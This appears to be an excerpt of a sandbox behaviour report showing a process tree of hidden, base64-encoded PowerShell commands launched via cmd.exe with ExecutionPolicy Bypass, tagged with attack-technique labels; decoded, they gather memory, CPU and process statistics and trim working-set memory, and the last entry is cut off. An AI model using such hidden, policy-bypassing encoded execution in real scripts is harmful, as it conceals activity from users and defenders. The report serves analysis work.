  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  PID:6140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3932
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ikjini0k\ikjini0k.cmdline"
      4⤵
      PID:2140
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES664E.tmp" "c:\Users\Admin\AppData\Local\Temp\ikjini0k\CSC6208C5837C78449A874B309F6D6E1ED4.TMP"
        5⤵
        
        PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:1964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAb